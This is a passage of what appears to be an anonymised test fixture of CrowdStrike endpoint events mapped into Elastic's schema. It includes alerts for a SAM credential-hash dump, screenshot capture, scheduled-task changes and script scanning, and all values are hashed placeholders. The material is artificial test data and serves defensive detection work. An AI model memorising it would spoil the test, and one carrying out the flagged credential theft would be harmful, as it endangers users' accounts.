"827afde25ba0eeda5d204a68ff612048\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\64fdf48d.~BT\\\\104a\\\\d\\\\d598026\\\\ddd203\\\\92391c8a.3007_none_7afbc84558a5a401\\\\f76eee64.rtf\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\dc08d203\\6d4a9f57", + "directory": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401", + "extension": "rtf", + "inode": "f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8", + "name": "f76eee64.rtf", + "path": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf", + "size": 507310, + "type": "file" + }, + "host": { + "id": "827afde25ba0eeda5d204a68ff612048", + "os": { + "type": "windows" + } + }, + "message": "RtfFileWritten", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "827afde25ba0eeda5d204a68ff612048", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "600400303060", + "name": "6866e9cdd4c02", + "thread": { + "id": 1006000509974 + } + }, + "related": { + "hash": [ + "30820000" + ], + "ip": [ + "216.160.83.56" + ], + "user": [ + "352ad1966", + "S-49065-57943-32307" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-49065-57943-32307", + "name": "352ad1966" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "770065302", + "ContextProcessId": "9083291189505", + "ContextTimeStamp": "2025-09-10T02:09:38.153Z", + "DesiredAccess": "106086", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "ExtendedKeyUsages": "1", + "FileSigningTime": "1653525170.000", + "KeyObject": "70075630231265270000", + "PublicKeys": "0", + "RegCreateDisposition": "2", + "RegCreateOptions": "0", + "RegPostObjectName": "\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5", + "RegRootObjectName": "\\85aaee17\\eb92252\\be8\\be8\\ced6771", + "SHA256HashData": "6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe", + "SignInfoFlags": "107067", + "Status": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "4cd0f3ad236f3d16670462b9d7b5bb5c129a", + "name": "cece108ee2dfd89f1ac8e4648ab61ed" + }, + "device": { + "id": "1085124e43b788dc1142faa8282f3160" + }, + "event": { + "action": "SAMHashDumpFromUnsignedModule", + "category": [ + "registry", + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "4cd0f3ad236f3d16670462b9d7b5bb5c129a|1085124e43b788dc1142faa8282f3160|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"KeyObject\":\"70075630231265270000\",\"ContextThreadId\":\"40890360000294\",\"aip\":\"81.2.69.192\",\"PublicKeys\":\"0\",\"RegPostObjectName\":\"\\\\85aaee17\\\\eb92252\\\\be8\\\\be8\\\\ced6771\\\\7e1b0d5\",\"RegKeyName\":\"\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"4cd0f3ad236f3d16670462b9d7b5bb5c129a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"SAMHashDumpFromUnsignedModule\",\"ContextTimeStamp\":\"1757470178.153\",\"ConfigStateHash\":\"770065302\",\"ContextProcessId\":\"9083291189505\",\"RegRootObjectName\":\"\\\\85aaee17\\\\eb92252\\\\be8\\\\be8\\\\ced6771\",\"SHA256HashData\":\"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe\",\"ExtendedKeyUsages\":\"1\",\"RegCreateDisposition\":\"2\",\"FileSigningTime\":\"1653525170.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"DesiredAccess\":\"106086\",\"ImageFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\9134161b\\\\a48be8\\\\45eb5659\\\\e5bb8b3e\\\\8eb4b.exe\",\"Entitlements\":\"66\",\"name\":\"cece108ee2dfd89f1ac8e4648ab61ed\",\"RegCreateOptions\":\"0\",\"aid\":\"1085124e43b788dc1142faa8282f3160\",\"SignInfoFlags\":\"107067\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}", + "outcome": "success", + "type": [ + "access", + "creation" + ] + }, + "host": { + "id": "1085124e43b788dc1142faa8282f3160", + "os": { + "type": "windows" + } + }, + "message": "SAMHashDumpFromUnsignedModule", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "1085124e43b788dc1142faa8282f3160", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "9083291189505", + "executable": "\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe", + "name": "8eb4b.exe", + "thread": { + "id": 40890360000294 + } + }, + "related": { + "hash": [ + "6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe", + "770065302" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "710307050", + "ContextProcessId": "6804094900076", + "ContextTimeStamp": "2025-07-30T08:54:24.498Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "45", + "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7", + "InterfaceVersion": "60255", + "RpcClientProcessId": "4004620865900", + "RpcClientThreadId": "724002090409000", + "RpcNestingLevel": "0", + "RpcOpNum": "30", + "TaskName": "bd3d6bea\\9af0ff\\29eab3a3", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "6df4383ea32ec03f3e4d828c8771350c6861", + "name": "4996adce55e68cf01c05c7" + }, + "device": { + "id": "4b4df0f0e24c600fcc98e7444c1af658" + }, + "event": { + "action": "ScheduledTaskDeleted", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "6df4383ea32ec03f3e4d828c8771350c6861|4b4df0f0e24c600fcc98e7444c1af658|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"4004620865900\",\"id\":\"6df4383ea32ec03f3e4d828c8771350c6861\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskDeleted\",\"ContextTimeStamp\":\"1753865664.498\",\"UserName\":\"06a9f4e72\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"60255\",\"ContextProcessId\":\"6804094900076\",\"RpcClientThreadId\":\"724002090409000\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"bd3d6bea\\\\9af0ff\\\\29eab3a3\",\"RpcOpNum\":\"30\",\"Entitlements\":\"66\",\"name\":\"4996adce55e68cf01c05c7\",\"aid\":\"4b4df0f0e24c600fcc98e7444c1af658\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "deletion" + ] + }, + "host": { + "id": "4b4df0f0e24c600fcc98e7444c1af658", + "os": { + "type": "windows" + } + }, + "message": "ScheduledTaskDeleted", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "4b4df0f0e24c600fcc98e7444c1af658", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "6804094900076" + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "06a9f4e72" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "06a9f4e72" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "9080600092", + "ContextProcessId": "9000002203869", + "ContextTimeStamp": "2025-05-22T18:10:37.152Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "45", + "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7", + "InterfaceVersion": "80255", + "RpcClientProcessId": "3887070022276", + "RpcClientThreadId": "799160078000747", + "RpcNestingLevel": "0", + "RpcOpNum": "1", + "TaskAuthor": "057bcb1d4", + "TaskExecArguments": "/650a61d7", + "TaskExecCommand": "fa692415fa9d", + "TaskName": "c7bac469\\d598026\\1f6f4b17\\4e7075fa", + "TaskXml": "4a199d96.com/windows/2004/02/mit/task\">\r\n \r\n FSSB0930$\r\n \\c7bac469\\d598026\\1f6f4b17\\7e6a0826", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "43b952c0225cd04c3a42b9e4b7264eecca9d", + "name": "569b2099134ca0f589a09d0" + }, + "device": { + "id": "096a526846b73e64ffebbc72ded8f018" + }, + "event": { + "action": "ScheduledTaskModified", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "43b952c0225cd04c3a42b9e4b7264eecca9d|096a526846b73e64ffebbc72ded8f018|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"aip\":\"81.2.69.192\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"3887070022276\",\"id\":\"43b952c0225cd04c3a42b9e4b7264eecca9d\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskModified\",\"ContextTimeStamp\":\"1747937437.152\",\"UserName\":\"057bcb1d4\",\"ConfigStateHash\":\"9080600092\",\"InterfaceVersion\":\"80255\",\"ContextProcessId\":\"9000002203869\",\"RpcClientThreadId\":\"799160078000747\",\"TaskXml\":\"4a199d96.com/windows/2004/02/mit/task\\\">\\r\\n \\r\\n FSSB0930$\\r\\n \\\\c7bac469\\\\d598026\\\\1f6f4b17\\\\7e6a0826\",\"TaskAuthor\":\"057bcb1d4\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"c7bac469\\\\d598026\\\\1f6f4b17\\\\4e7075fa\",\"RpcOpNum\":\"1\",\"Entitlements\":\"26\",\"name\":\"569b2099134ca0f589a09d0\",\"TaskExecArguments\":\"/650a61d7\",\"aid\":\"096a526846b73e64ffebbc72ded8f018\",\"TaskExecCommand\":\"fa692415fa9d\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "096a526846b73e64ffebbc72ded8f018", + "os": { + "type": "windows" + } + }, + "message": "ScheduledTaskModified", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "096a526846b73e64ffebbc72ded8f018", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "9000002203869" + }, + "related": { + "hash": [ + "9080600092" + ], + "ip": [ + "81.2.69.192" + ], + "user": [ + "057bcb1d4" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "057bcb1d4" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "710307050", + "ContextProcessId": "6804094900076", + "ContextTimeStamp": "2025-08-15T23:56:08.498Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "45", + "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7", + "InterfaceVersion": "50255", + "RpcClientProcessId": "4950486027003", + "RpcClientThreadId": "900200906000878", + "RpcNestingLevel": "0", + "RpcOpNum": "1", + "TaskAuthor": "033b4ae8791399a8", + "TaskExecArguments": "/0630e40", + "TaskExecCommand": "82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe", + "TaskName": "c7bac469\\9e380d\\9eba707b", + "TaskXml": "3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe\r\n /checkin\r\n \r\n \r\n", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "c7674af79959a3dacc5f7ca39360a5e76431", + "name": "2a8048a7af2ffa0cde48ccc43" + }, + "device": { + "id": "4b4df0f0e24c600fcc98e7444c1af658" + }, + "event": { + "action": "ScheduledTaskRegistered", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "c7674af79959a3dacc5f7ca39360a5e76431|4b4df0f0e24c600fcc98e7444c1af658|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"4950486027003\",\"id\":\"c7674af79959a3dacc5f7ca39360a5e76431\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskRegistered\",\"ContextTimeStamp\":\"1755302168.498\",\"UserName\":\"06a9f4e72\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"50255\",\"ContextProcessId\":\"6804094900076\",\"RpcClientThreadId\":\"900200906000878\",\"TaskXml\":\"3398d363\\\\c7bac469\\\\9e380d\\\\96aef033\\\\9134161b\\\\42955da6\\\\3c5c8318\\\\27b5ee41\\\\deaf1acb.exe\\r\\n /checkin\\r\\n \\r\\n \\r\\n\",\"TaskAuthor\":\"033b4ae8791399a8\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"c7bac469\\\\9e380d\\\\9eba707b\",\"RpcOpNum\":\"1\",\"Entitlements\":\"96\",\"name\":\"2a8048a7af2ffa0cde48ccc43\",\"TaskExecArguments\":\"/0630e40\",\"aid\":\"4b4df0f0e24c600fcc98e7444c1af658\",\"TaskExecCommand\":\"82\\\\9134161b\\\\42955da6\\\\3c5c8318\\\\27b5ee41\\\\deaf1acb.exe\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "host": { + "id": "4b4df0f0e24c600fcc98e7444c1af658", + "os": { + "type": "windows" + } + }, + "message": "ScheduledTaskRegistered", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "4b4df0f0e24c600fcc98e7444c1af658", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "6804094900076" + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "06a9f4e72" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "06a9f4e72" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ContextProcessId": "1700783090940", + "ContextTimeStamp": "2025-10-05T11:04:06.104Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "1", + "PerformanceCounter": "d6c4254eed13d596", + "ProcessStartKey": "6502302011800406", + "RawThreadId": "9080", + "ScreenshotType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "3e6d517e7aca78f0cf93da20fe86adf5f9ab", + "name": "a476a54b92f13dc913cf" + }, + "device": { + "id": "24840a73a08a136ac2e3a204a6371f8f" + }, + "event": { + "action": "ScreenshotTakenEtw", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "3e6d517e7aca78f0cf93da20fe86adf5f9ab|24840a73a08a136ac2e3a204a6371f8f|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"ScreenshotTakenEtw\",\"RawProcessId\":\"98380\",\"ContextTimeStamp\":\"1759662246.104\",\"UserName\":\"b2a353ab\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"1700783090940\",\"ProcessStartKey\":\"6502302011800406\",\"aip\":\"81.2.69.142\",\"ScreenshotType\":\"1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\303abfe3\\\\f5738ad0\\\\982d2c83.edu\\\\55c39df.exe\",\"Entitlements\":\"16\",\"name\":\"a476a54b92f13dc913cf\",\"EventOrigin\":\"1\",\"RawThreadId\":\"9080\",\"id\":\"3e6d517e7aca78f0cf93da20fe86adf5f9ab\",\"PerformanceCounter\":\"d6c4254eed13d596\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"24840a73a08a136ac2e3a204a6371f8f\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "host": { + "id": "24840a73a08a136ac2e3a204a6371f8f", + "os": { + "type": "windows" + } + }, + "message": "ScreenshotTakenEtw", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "24840a73a08a136ac2e3a204a6371f8f", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066", + "--26" + ], + "args_count": 2, + "command_line": "1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26", + "entity_id": "1700783090940", + "executable": "\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe", + "name": "55c39df.exe", + "pid": 98380 + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "b2a353ab" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "b2a353ab" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "3440491101", + "ContextProcessId": "109050000055", + "ContextTimeStamp": "2025-07-08T23:23:52.509Z", + "EffectiveTransmissionClass": "0", + "Entitlements": "96", + "EventOrigin": "1", + "Parameter64_1": "0", + "Parameter64_2": "8206700950", + "Parameter64_3": "0", + "ScriptControlErrorCode": "3", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "7e63b76986f72b1aa2e6038707b440ac2bd2", + "name": "345e60fd50e3d887337d0b2b9" + }, + "device": { + "id": "5646c890ca4b0ac33c1cfa27264240b6" + }, + "event": { + "action": "ScriptControlErrorEvent", + "category": [ + "malware", + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "7e63b76986f72b1aa2e6038707b440ac2bd2|5646c890ca4b0ac33c1cfa27264240b6|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"ScriptControlErrorEvent\",\"ContextTimeStamp\":\"1752017032.509\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"109050000055\",\"ContextThreadId\":\"883457700032905\",\"Parameter64_3\":\"0\",\"aip\":\"89.160.20.128\",\"Parameter64_2\":\"8206700950\",\"Parameter64_1\":\"0\",\"ScriptControlErrorCode\":\"3\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"96\",\"name\":\"345e60fd50e3d887337d0b2b9\",\"EventOrigin\":\"1\",\"id\":\"7e63b76986f72b1aa2e6038707b440ac2bd2\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"5646c890ca4b0ac33c1cfa27264240b6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "failure", + "type": [ + "info" + ] + }, + "host": { + "id": "5646c890ca4b0ac33c1cfa27264240b6", + "os": { + "type": "windows" + } + }, + "message": "ScriptControlErrorEvent", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "5646c890ca4b0ac33c1cfa27264240b6", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "109050000055", + "thread": { + "id": 883457700032905 + } + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "89.160.20.128" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "8504003003", + "ContentSHA256HashData": "d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe", + "ContextProcessId": "2579509200600", + "ContextTimeStamp": "2025-10-18T18:25:11.783Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "76", + "EventOrigin": "1", + "GrandparentCommandLine": "5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5", + "GrandparentImageFileName": "\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe", + "HostProcessType": "4", + "OriginalContentLength": "103", + "ParentCommandLine": "82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"", + "ParentImageFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe", + "ScriptContent": "8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f", + "ScriptContentName": "\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs", + "ScriptingLanguageId": "4", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "42432e4ab526161b012bf9090bfa8e7f7c50", + "name": "da8c933b9d11428ed052d2d5eb4c" + }, + "device": { + "id": "ec58958430d6e12f5dfa327cad790e06" + }, + "event": { + "action": "ScriptControlScanTelemetry", + "category": [ + "malware", + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "42432e4ab526161b012bf9090bfa8e7f7c50|ec58958430d6e12f5dfa327cad790e06|4092825518eaf67377a6e4492ae44577", + "kind": "state", + "original": "{\"ScriptContent\":\"8040e831._01000001(\\\"-2147483646\\\", \\\"SYSTEM\\\\87d633b2\\\\32d7e82\\\\185d320a\\\\921a9d8f\",\"OriginalContentLength\":\"103\",\"ContextThreadId\":\"700600800020030\",\"ScriptingLanguageId\":\"4\",\"aip\":\"216.160.83.56\",\"ParentImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\04d.exe\",\"GrandparentImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\5fd4a1cd\\\\d5a15842.exe\",\"event_platform\":\"Win\",\"ScriptContentName\":\"\\\\e2\\\\82\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\6d70c65f.vbs\",\"HostProcessType\":\"4\",\"EventOrigin\":\"1\",\"id\":\"42432e4ab526161b012bf9090bfa8e7f7c50\",\"ParentCommandLine\":\"82\\\\ab7e5c1\\\\4a6a0a4b\\\\04d.exe /c \\\"\\\"C:\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\9abf749f.bat\\\" \\\"C:\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\8c5fa1bc.bat\\\"\\\"\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScriptControlScanTelemetry\",\"ContextTimeStamp\":\"1760811911.783\",\"ConfigStateHash\":\"8504003003\",\"ContextProcessId\":\"2579509200600\",\"ContentSHA256HashData\":\"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284\",\"GrandparentCommandLine\":\"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\e108a27.exe\",\"Entitlements\":\"76\",\"name\":\"da8c933b9d11428ed052d2d5eb4c\",\"aid\":\"ec58958430d6e12f5dfa327cad790e06\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "ec58958430d6e12f5dfa327cad790e06", + "os": { + "type": "windows" + } + }, + "message": "ScriptControlScanTelemetry", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "ec58958430d6e12f5dfa327cad790e06", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "e108a27", + "868", + "7772eeea", + "155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8", + "-9a8a308", + "284" + ], + "args_count": 6, + "command_line": "e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284", + "entity_id": "2579509200600", + "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe", + "name": "e108a27.exe", + "thread": { + "id": 700600800020030 + } + }, + "related": { + "hash": [ + "8504003003" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ClientComputerName": "9b0f0662", + "ConfigStateHash": "2069001378", + "ContextProcessId": "2600380079010", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "1", + "WmiNamespaceName": "4813\\155e1", + "WmiQuery": "8d8f8ea22b6bfbe801ecaaba1425c6a9d7", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "272b6e237d25b3c937239259405719619f9c", + "name": "887f1bbf3206d18c959" + }, + "device": { + "id": "cfe278fcd1e293c7afdf3f1753b2d89e" + }, + "event": { + "action": "SensitiveWmiQuery", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "272b6e237d25b3c937239259405719619f9c|cfe278fcd1e293c7afdf3f1753b2d89e|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": 